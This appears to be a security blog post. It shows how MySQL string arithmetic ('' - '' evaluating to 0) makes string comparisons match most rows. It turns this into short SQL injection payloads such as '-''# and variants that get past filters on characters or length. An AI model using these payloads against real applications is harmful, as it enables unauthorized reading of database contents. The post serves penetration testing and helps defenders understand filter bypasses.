Abusing MySQL string arithmetic for tiny SQL injections

Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.

But first, let's look at this:

MySQL, what are you doing?

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

WTF just happened? Warnings clear up the situation a little bit:

mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)

Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+

So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition (0 = ''-'').

The SQL injection part

How can the attacker abuse this quirk? Imagine that you:

• have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,
• vulnerable query SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... .that needs to return at least one row,
• and you don't know the values for the secret column (they're not easily enumerable),

Simple payload: '-''# will turn that query into:

SELECT secret FROM table WHERE fld=''-''# AND .....

and will return all rows (apart from those that match /^-?[0-9]/)

You can use the same trick with ''+'', ''&'',''^'' and ''*''. Beware though:

mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)

Another trick would be to simply compare a string column to ''-0:

mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.

And that's all folks. For all your SQL injection techniques, I highly recommend The SQL injection reference by Roberto Salgado. It helped me numerous times and is in my opinion the best reference on SQLi ever made.